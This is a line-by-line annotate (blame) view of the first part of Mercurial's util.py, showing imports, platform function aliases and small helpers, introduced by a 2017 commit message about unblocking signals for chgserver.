annotate mercurial/util.py @ 35464:8652ab4046e4

osutil: add a function to unblock signals Signals could be blocked by something like: #include <unistd.h> #include <signal.h> int main(int argc, char * const argv[]) { sigset_t set; sigfillset(&set); sigprocmask(SIG_BLOCK, &set, NULL); execv("/bin/hg", argv); return 0; } One of the problems is if SIGCHLD is blocked, chgserver would not reap zombie workers since it depends on SIGCHLD handler entirely. While it's the parent process to blame but it seems a good idea to just unblock the signal from hg. FWIW git does that for SIGPIPE already [1]. Unfortunately Python 2 does not reset or provide APIs to change signal masks. Therefore let's add one in osutil. Note: Python 3.3 introduced `signal.pthread_sigmask` which solves the problem. `sigprocmask` is part of POSIX [2] so there is no feature testing in `setup.py`. [1]: https://github.com/git/git/commit/7559a1be8a0afb10df41d25e4cf4c5285a5faef1 [2]: http://pubs.opengroup.org/onlinepubs/7908799/xsh/sigprocmask.html Differential Revision: https://phab.mercurial-scm.org/D1736
author Jun Wu <quark@fb.com>
date Wed, 20 Dec 2017 02:13:35 -0800
parents 25c543944bc0
children beede158ea8a
Ignore whitespace changes - Everywhere: Within whitespace: At end of lines:
rev   line source
17515
b5b38d21fe99 spelling: specific
timeless@mozdev.org
parents: 17237
diff changeset
1 # util.py - Mercurial utility functions and platform specific implementations
8226
8b2cd04a6e97 put license and copyright info into comment blocks
Martin Geisler <mg@lazybytes.net>
parents: 8225
diff changeset
2 #
8b2cd04a6e97 put license and copyright info into comment blocks
Martin Geisler <mg@lazybytes.net>
parents: 8225
diff changeset
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
8b2cd04a6e97 put license and copyright info into comment blocks
Martin Geisler <mg@lazybytes.net>
parents: 8225
diff changeset
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
8b2cd04a6e97 put license and copyright info into comment blocks
Martin Geisler <mg@lazybytes.net>
parents: 8225
diff changeset
5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
8b2cd04a6e97 put license and copyright info into comment blocks
Martin Geisler <mg@lazybytes.net>
parents: 8225
diff changeset
6 #
8b2cd04a6e97 put license and copyright info into comment blocks
Martin Geisler <mg@lazybytes.net>
parents: 8225
diff changeset
7 # This software may be used and distributed according to the terms of the
10263
25e572394f5c Update license to GPLv2+
Matt Mackall <mpm@selenic.com>
parents: 9996
diff changeset
8 # GNU General Public License version 2 or any later version.
1082
ce96e316278a Update util.py docstrings, fix walk test
mpm@selenic.com
parents: 1081
diff changeset
9
17515
b5b38d21fe99 spelling: specific
timeless@mozdev.org
parents: 17237
diff changeset
10 """Mercurial utility functions and platform specific implementations.
1082
ce96e316278a Update util.py docstrings, fix walk test
mpm@selenic.com
parents: 1081
diff changeset
11
8227
0a9542703300 turn some comments back into module docstrings
Martin Geisler <mg@lazybytes.net>
parents: 8226
diff changeset
12 This contains helper routines that are independent of the SCM core and
0a9542703300 turn some comments back into module docstrings
Martin Geisler <mg@lazybytes.net>
parents: 8226
diff changeset
13 hide platform-specific details from the core.
1082
ce96e316278a Update util.py docstrings, fix walk test
mpm@selenic.com
parents: 1081
diff changeset
14 """
419
28511fc21073 [PATCH] file seperator handling for the other 'OS'
mpm@selenic.com
parents:
diff changeset
15
34152
a8994d08e4a2 doctest: use print_function and convert bytes to unicode where needed
Yuya Nishihara <yuya@tcha.org>
parents: 34149
diff changeset
16 from __future__ import absolute_import, print_function
27358
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
17
33814
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33763
diff changeset
18 import abc
27358
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
19 import bz2
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
20 import calendar
31462
3b7a6941a6ef py3: call codecs.escape_encode() directly
Yuya Nishihara <yuya@tcha.org>
parents: 31460
diff changeset
21 import codecs
27358
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
22 import collections
33446
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
23 import contextlib
27358
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
24 import datetime
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
25 import errno
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
26 import gc
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
27 import hashlib
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
28 import imp
34554
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34468
diff changeset
29 import itertools
34302
3bb2a9f25fe9 util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents: 34154
diff changeset
30 import mmap
27358
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
31 import os
30428
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
32 import platform as pyplatform
21907
7e5dfa00e3c2 util: rename 're' to 'remod'
Siddharth Agarwal <sid0@fb.com>
parents: 21857
diff changeset
33 import re as remod
27358
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
34 import shutil
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
35 import signal
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
36 import socket
30428
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
37 import stat
30054
8b89521a69ba util: use string.hexdigits instead of defining it ourselves
Augie Fackler <augie@google.com>
parents: 30053
diff changeset
38 import string
27358
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
39 import subprocess
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
40 import sys
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
41 import tempfile
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
42 import textwrap
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
43 import time
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
44 import traceback
31950
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
45 import warnings
26266
1e042e31bd0c changegroup: move all compressions utilities in util
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 26201
diff changeset
46 import zlib
3769
96095d9ff1f8 Add encoding detection
Matt Mackall <mpm@selenic.com>
parents: 3767
diff changeset
47
27358
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
48 from . import (
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
49 encoding,
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
50 error,
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
51 i18n,
32406
a9c71d578a1c osutil: switch to policy importer
Yuya Nishihara <yuya@tcha.org>
parents: 32346
diff changeset
52 policy,
28818
6041fb8f2da8 pycompat: add empty and queue to handle py3 divergence
timeless <timeless@mozdev.org>
parents: 28497
diff changeset
53 pycompat,
34468
192f7b126ed2 urllibcompat: move some adapters from pycompat to urllibcompat
Augie Fackler <augie@google.com>
parents: 34436
diff changeset
54 urllibcompat,
27358
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
55 )
3769
96095d9ff1f8 Add encoding detection
Matt Mackall <mpm@selenic.com>
parents: 3767
diff changeset
56
32407
008d37c4d783 base85: switch to policy importer
Yuya Nishihara <yuya@tcha.org>
parents: 32406
diff changeset
57 base85 = policy.importmod(r'base85')
32406
a9c71d578a1c osutil: switch to policy importer
Yuya Nishihara <yuya@tcha.org>
parents: 32346
diff changeset
58 osutil = policy.importmod(r'osutil')
32411
df448de7cf3b parsers: switch to policy importer
Yuya Nishihara <yuya@tcha.org>
parents: 32407
diff changeset
59 parsers = policy.importmod(r'parsers')
32406
a9c71d578a1c osutil: switch to policy importer
Yuya Nishihara <yuya@tcha.org>
parents: 32346
diff changeset
60
32245
4462a981e8df base85: proxy through util module
Yuya Nishihara <yuya@tcha.org>
parents: 32203
diff changeset
61 b85decode = base85.b85decode
4462a981e8df base85: proxy through util module
Yuya Nishihara <yuya@tcha.org>
parents: 32203
diff changeset
62 b85encode = base85.b85encode
4462a981e8df base85: proxy through util module
Yuya Nishihara <yuya@tcha.org>
parents: 32203
diff changeset
63
31934
12aca6770046 util: make cookielib module available
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31878
diff changeset
64 cookielib = pycompat.cookielib
30480
00c9ac4ce816 util: rewrite pycompat imports to make pyflakes always happy
Yuya Nishihara <yuya@tcha.org>
parents: 30451
diff changeset
65 empty = pycompat.empty
00c9ac4ce816 util: rewrite pycompat imports to make pyflakes always happy
Yuya Nishihara <yuya@tcha.org>
parents: 30451
diff changeset
66 httplib = pycompat.httplib
00c9ac4ce816 util: rewrite pycompat imports to make pyflakes always happy
Yuya Nishihara <yuya@tcha.org>
parents: 30451
diff changeset
67 pickle = pycompat.pickle
00c9ac4ce816 util: rewrite pycompat imports to make pyflakes always happy
Yuya Nishihara <yuya@tcha.org>
parents: 30451
diff changeset
68 queue = pycompat.queue
00c9ac4ce816 util: rewrite pycompat imports to make pyflakes always happy
Yuya Nishihara <yuya@tcha.org>
parents: 30451
diff changeset
69 socketserver = pycompat.socketserver
30481
277f4fe6d01a py3: provide bytes stdin/out/err through util module
Yuya Nishihara <yuya@tcha.org>
parents: 30480
diff changeset
70 stderr = pycompat.stderr
277f4fe6d01a py3: provide bytes stdin/out/err through util module
Yuya Nishihara <yuya@tcha.org>
parents: 30480
diff changeset
71 stdin = pycompat.stdin
277f4fe6d01a py3: provide bytes stdin/out/err through util module
Yuya Nishihara <yuya@tcha.org>
parents: 30480
diff changeset
72 stdout = pycompat.stdout
30480
00c9ac4ce816 util: rewrite pycompat imports to make pyflakes always happy
Yuya Nishihara <yuya@tcha.org>
parents: 30451
diff changeset
73 stringio = pycompat.stringio
00c9ac4ce816 util: rewrite pycompat imports to make pyflakes always happy
Yuya Nishihara <yuya@tcha.org>
parents: 30451
diff changeset
74 xmlrpclib = pycompat.xmlrpclib
28883
032c4c2f802a pycompat: switch to util.urlreq/util.urlerr for py3 compat
timeless <timeless@mozdev.org>
parents: 28882
diff changeset
75
34468
192f7b126ed2 urllibcompat: move some adapters from pycompat to urllibcompat
Augie Fackler <augie@google.com>
parents: 34436
diff changeset
76 httpserver = urllibcompat.httpserver
192f7b126ed2 urllibcompat: move some adapters from pycompat to urllibcompat
Augie Fackler <augie@google.com>
parents: 34436
diff changeset
77 urlerr = urllibcompat.urlerr
192f7b126ed2 urllibcompat: move some adapters from pycompat to urllibcompat
Augie Fackler <augie@google.com>
parents: 34436
diff changeset
78 urlreq = urllibcompat.urlreq
192f7b126ed2 urllibcompat: move some adapters from pycompat to urllibcompat
Augie Fackler <augie@google.com>
parents: 34436
diff changeset
79
32131
377c74ef008d win32mbcs: avoid unintentional failure at colorization
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 31952
diff changeset
80 # workaround for win32mbcs
377c74ef008d win32mbcs: avoid unintentional failure at colorization
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 31952
diff changeset
81 _filenamebytestr = pycompat.bytestr
377c74ef008d win32mbcs: avoid unintentional failure at colorization
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 31952
diff changeset
82
30908
3a4c0905f357 util: always force line buffered stdout when stdout is a tty (BC)
Simon Farnsworth <simonfar@fb.com>
parents: 30854
diff changeset
83 def isatty(fp):
3a4c0905f357 util: always force line buffered stdout when stdout is a tty (BC)
Simon Farnsworth <simonfar@fb.com>
parents: 30854
diff changeset
84 try:
3a4c0905f357 util: always force line buffered stdout when stdout is a tty (BC)
Simon Farnsworth <simonfar@fb.com>
parents: 30854
diff changeset
85 return fp.isatty()
3a4c0905f357 util: always force line buffered stdout when stdout is a tty (BC)
Simon Farnsworth <simonfar@fb.com>
parents: 30854
diff changeset
86 except AttributeError:
3a4c0905f357 util: always force line buffered stdout when stdout is a tty (BC)
Simon Farnsworth <simonfar@fb.com>
parents: 30854
diff changeset
87 return False
3a4c0905f357 util: always force line buffered stdout when stdout is a tty (BC)
Simon Farnsworth <simonfar@fb.com>
parents: 30854
diff changeset
88
3a4c0905f357 util: always force line buffered stdout when stdout is a tty (BC)
Simon Farnsworth <simonfar@fb.com>
parents: 30854
diff changeset
89 # glibc determines buffering on first write to stdout - if we replace a TTY
3a4c0905f357 util: always force line buffered stdout when stdout is a tty (BC)
Simon Farnsworth <simonfar@fb.com>
parents: 30854
diff changeset
90 # destined stdout with a pipe destined stdout (e.g. pager), we want line
3a4c0905f357 util: always force line buffered stdout when stdout is a tty (BC)
Simon Farnsworth <simonfar@fb.com>
parents: 30854
diff changeset
91 # buffering
3a4c0905f357 util: always force line buffered stdout when stdout is a tty (BC)
Simon Farnsworth <simonfar@fb.com>
parents: 30854
diff changeset
92 if isatty(stdout):
31008
d194f0dba7ac py3: convert the mode argument of os.fdopen to unicodes
Pulkit Goyal <7895pulkit@gmail.com>
parents: 30995
diff changeset
93 stdout = os.fdopen(stdout.fileno(), pycompat.sysstr('wb'), 1)
30908
3a4c0905f357 util: always force line buffered stdout when stdout is a tty (BC)
Simon Farnsworth <simonfar@fb.com>
parents: 30854
diff changeset
94
34645
75979c8d4572 codemod: use pycompat.iswindows
Jun Wu <quark@fb.com>
parents: 34554
diff changeset
95 if pycompat.iswindows:
27358
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
96 from . import windows as platform
30908
3a4c0905f357 util: always force line buffered stdout when stdout is a tty (BC)
Simon Farnsworth <simonfar@fb.com>
parents: 30854
diff changeset
97 stdout = platform.winstdout(stdout)
14912
ec46a7da9f2c util: move windows and posix wildcard imports to begin of file
Adrian Buehlmann <adrian@cadifra.com>
parents: 14911
diff changeset
98 else:
27358
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
99 from . import posix as platform
14926
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
100
27358
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
101 _ = i18n._
14926
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
102
29530
3239e2fdd2e2 chgserver: extract utility to bind unix domain socket to long path
Yuya Nishihara <yuya@tcha.org>
parents: 29455
diff changeset
103 bindunixsocket = platform.bindunixsocket
14927
2aa3e07b2f07 posix, windows: introduce cachestat
Idan Kamara <idankk86@gmail.com>
parents: 14926
diff changeset
104 cachestat = platform.cachestat
14926
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
105 checkexec = platform.checkexec
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
106 checklink = platform.checklink
15011
5e44e4b3a0a3 util: move copymode into posix.py and windows.py
Adrian Buehlmann <adrian@cadifra.com>
parents: 15010
diff changeset
107 copymode = platform.copymode
14926
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
108 executablepath = platform.executablepath
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
109 expandglobs = platform.expandglobs
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
110 explainexit = platform.explainexit
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
111 findexe = platform.findexe
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
112 gethgcmd = platform.gethgcmd
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
113 getuser = platform.getuser
28027
14033c5dd261 util: enable getpid to be replaced
timeless <timeless@mozdev.org>
parents: 27785
diff changeset
114 getpid = os.getpid
14926
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
115 groupmembers = platform.groupmembers
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
116 groupname = platform.groupname
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
117 hidewindow = platform.hidewindow
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
118 isexec = platform.isexec
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
119 isowner = platform.isowner
32248
d74b0cff94a9 osutil: proxy through util (and platform) modules (API)
Yuya Nishihara <yuya@tcha.org>
parents: 32245
diff changeset
120 listdir = osutil.listdir
14926
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
121 localpath = platform.localpath
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
122 lookupreg = platform.lookupreg
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
123 makedir = platform.makedir
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
124 nlinks = platform.nlinks
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
125 normpath = platform.normpath
15488
6eff984d8e76 dirstate: fix case-folding identity for traditional Unix
Matt Mackall <mpm@selenic.com>
parents: 15392
diff changeset
126 normcase = platform.normcase
24605
98744856b7d3 util: add normcase spec and fallback
Siddharth Agarwal <sid0@fb.com>
parents: 24439
diff changeset
127 normcasespec = platform.normcasespec
98744856b7d3 util: add normcase spec and fallback
Siddharth Agarwal <sid0@fb.com>
parents: 24439
diff changeset
128 normcasefallback = platform.normcasefallback
14926
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
129 openhardlinks = platform.openhardlinks
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
130 oslink = platform.oslink
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
131 parsepatchoutput = platform.parsepatchoutput
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
132 pconvert = platform.pconvert
25420
c2ec81891502 util: add a simple poll utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25406
diff changeset
133 poll = platform.poll
14926
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
134 popen = platform.popen
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
135 posixfile = platform.posixfile
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
136 quotecommand = platform.quotecommand
22245
234e4c24b980 platform: implement readpipe()
Gregory Szorc <gregory.szorc@gmail.com>
parents: 21914
diff changeset
137 readpipe = platform.readpipe
14926
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
138 rename = platform.rename
24692
144883a8d0d4 util: add removedirs as platform depending function
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 24635
diff changeset
139 removedirs = platform.removedirs
14926
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
140 samedevice = platform.samedevice
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
141 samefile = platform.samefile
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
142 samestat = platform.samestat
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
143 setbinary = platform.setbinary
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
144 setflags = platform.setflags
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
145 setsignalhandler = platform.setsignalhandler
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
146 shellquote = platform.shellquote
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
147 spawndetached = platform.spawndetached
17560
9ee25d7b1aed util: implement a faster os.path.split for posix systems
Bryan O'Sullivan <bryano@fb.com>
parents: 17537
diff changeset
148 split = platform.split
14926
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
149 sshargs = platform.sshargs
18026
ddc0323db78b osutil: write a C implementation of statfiles for unix
Bryan O'Sullivan <bryano@fb.com>
parents: 18013
diff changeset
150 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
18868
cafa447a7d3b util: add functions to check symlink/exec bits
Bryan O'Sullivan <bryano@fb.com>
parents: 18775
diff changeset
151 statisexec = platform.statisexec
cafa447a7d3b util: add functions to check symlink/exec bits
Bryan O'Sullivan <bryano@fb.com>
parents: 18775
diff changeset
152 statislink = platform.statislink
14926
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
153 testpid = platform.testpid
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
154 umask = platform.umask
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
155 unlink = platform.unlink
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
156 username = platform.username
14912
ec46a7da9f2c util: move windows and posix wildcard imports to begin of file
Adrian Buehlmann <adrian@cadifra.com>
parents: 14911
diff changeset
157
32248
d74b0cff94a9 osutil: proxy through util (and platform) modules (API)
Yuya Nishihara <yuya@tcha.org>
parents: 32245
diff changeset
158 try:
d74b0cff94a9 osutil: proxy through util (and platform) modules (API)
Yuya Nishihara <yuya@tcha.org>
parents: 32245
diff changeset
159 recvfds = osutil.recvfds
d74b0cff94a9 osutil: proxy through util (and platform) modules (API)
Yuya Nishihara <yuya@tcha.org>
parents: 32245
diff changeset
160 except AttributeError:
d74b0cff94a9 osutil: proxy through util (and platform) modules (API)
Yuya Nishihara <yuya@tcha.org>
parents: 32245
diff changeset
161 pass
d74b0cff94a9 osutil: proxy through util (and platform) modules (API)
Yuya Nishihara <yuya@tcha.org>
parents: 32245
diff changeset
162 try:
d74b0cff94a9 osutil: proxy through util (and platform) modules (API)
Yuya Nishihara <yuya@tcha.org>
parents: 32245
diff changeset
163 setprocname = osutil.setprocname
d74b0cff94a9 osutil: proxy through util (and platform) modules (API)
Yuya Nishihara <yuya@tcha.org>
parents: 32245
diff changeset
164 except AttributeError:
d74b0cff94a9 osutil: proxy through util (and platform) modules (API)
Yuya Nishihara <yuya@tcha.org>
parents: 32245
diff changeset
165 pass
35464
8652ab4046e4 osutil: add a function to unblock signals
Jun Wu <quark@fb.com>
parents: 35166
diff changeset
166 try:
8652ab4046e4 osutil: add a function to unblock signals
Jun Wu <quark@fb.com>
parents: 35166
diff changeset
167 unblocksignal = osutil.unblocksignal
8652ab4046e4 osutil: add a function to unblock signals
Jun Wu <quark@fb.com>
parents: 35166
diff changeset
168 except AttributeError:
8652ab4046e4 osutil: add a function to unblock signals
Jun Wu <quark@fb.com>
parents: 35166
diff changeset
169 pass
32248
d74b0cff94a9 osutil: proxy through util (and platform) modules (API)
Yuya Nishihara <yuya@tcha.org>
parents: 32245
diff changeset
170
6470
ac0bcd951c2c python 2.6 compatibility: compatibility wrappers for hash functions
Dirkjan Ochtman <dirkjan@ochtman.nl>
parents: 6339
diff changeset
171 # Python compatibility
3769
96095d9ff1f8 Add encoding detection
Matt Mackall <mpm@selenic.com>
parents: 3767
diff changeset
172
15656
4f5a78fa4917 util: clean up function ordering
Matt Mackall <mpm@selenic.com>
parents: 15611
diff changeset
173 _notset = object()
4f5a78fa4917 util: clean up function ordering
Matt Mackall <mpm@selenic.com>
parents: 15611
diff changeset
174
27015
341cb90ffd18 util: disable floating point stat times (issue4836)
Matt Mackall <mpm@selenic.com>
parents: 26847
diff changeset
175 # disable Python's problematic floating point timestamps (issue4836)
341cb90ffd18 util: disable floating point stat times (issue4836)
Matt Mackall <mpm@selenic.com>
parents: 26847
diff changeset
176 # (Python hypocritically says you shouldn't change this behavior in
341cb90ffd18 util: disable floating point stat times (issue4836)
Matt Mackall <mpm@selenic.com>
parents: 26847
diff changeset
177 # libraries, and sure enough Mercurial is not a library.)
341cb90ffd18 util: disable floating point stat times (issue4836)
Matt Mackall <mpm@selenic.com>
parents: 26847
diff changeset
178 os.stat_float_times(False)
341cb90ffd18 util: disable floating point stat times (issue4836)
Matt Mackall <mpm@selenic.com>
parents: 26847
diff changeset
179
15656
4f5a78fa4917 util: clean up function ordering
Matt Mackall <mpm@selenic.com>
parents: 15611
diff changeset
180 def safehasattr(thing, attr):
4f5a78fa4917 util: clean up function ordering
Matt Mackall <mpm@selenic.com>
parents: 15611
diff changeset
181 return getattr(thing, attr, _notset) is not _notset
4f5a78fa4917 util: clean up function ordering
Matt Mackall <mpm@selenic.com>
parents: 15611
diff changeset
182
33860
7d5bc0e5b88f py3: introduce a wrapper for __builtins__.{raw_,}input()
Augie Fackler <augie@google.com>
parents: 33841
diff changeset
183 def bytesinput(fin, fout, *args, **kwargs):
7d5bc0e5b88f py3: introduce a wrapper for __builtins__.{raw_,}input()
Augie Fackler <augie@google.com>
parents: 33841
diff changeset
184 sin, sout = sys.stdin, sys.stdout
7d5bc0e5b88f py3: introduce a wrapper for __builtins__.{raw_,}input()
Augie Fackler <augie@google.com>
parents: 33841
diff changeset
185 try:
33873
f18b11534274 py3: make encoding.strio() an identity function on Python 2
Yuya Nishihara <yuya@tcha.org>
parents: 33860
diff changeset
186 sys.stdin, sys.stdout = encoding.strio(fin), encoding.strio(fout)
33874
cfcfbe6c96f8 py3: select input or raw_input by pycompat
Yuya Nishihara <yuya@tcha.org>
parents: 33873
diff changeset
187 return encoding.strtolocal(pycompat.rawinput(*args, **kwargs))
33860
7d5bc0e5b88f py3: introduce a wrapper for __builtins__.{raw_,}input()
Augie Fackler <augie@google.com>
parents: 33841
diff changeset
188 finally:
7d5bc0e5b88f py3: introduce a wrapper for __builtins__.{raw_,}input()
Augie Fackler <augie@google.com>
parents: 33841
diff changeset
189 sys.stdin, sys.stdout = sin, sout
7d5bc0e5b88f py3: introduce a wrapper for __builtins__.{raw_,}input()
Augie Fackler <augie@google.com>
parents: 33841
diff changeset
190
30745
c1b7b2285522 revlog: flag processor
Remi Chaintron <remi@fb.com>
parents: 30736
diff changeset
191 def bitsfrom(container):
c1b7b2285522 revlog: flag processor
Remi Chaintron <remi@fb.com>
parents: 30736
diff changeset
192 bits = 0
c1b7b2285522 revlog: flag processor
Remi Chaintron <remi@fb.com>
parents: 30736
diff changeset
193 for bit in container:
c1b7b2285522 revlog: flag processor
Remi Chaintron <remi@fb.com>
parents: 30736
diff changeset
194 bits |= bit
c1b7b2285522 revlog: flag processor
Remi Chaintron <remi@fb.com>
parents: 30736
diff changeset
195 return bits
c1b7b2285522 revlog: flag processor
Remi Chaintron <remi@fb.com>
parents: 30736
diff changeset
196
31950
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
197 # python 2.6 still have deprecation warning enabled by default. We do not want
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
198 # to display anything to standard user so detect if we are running test and
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
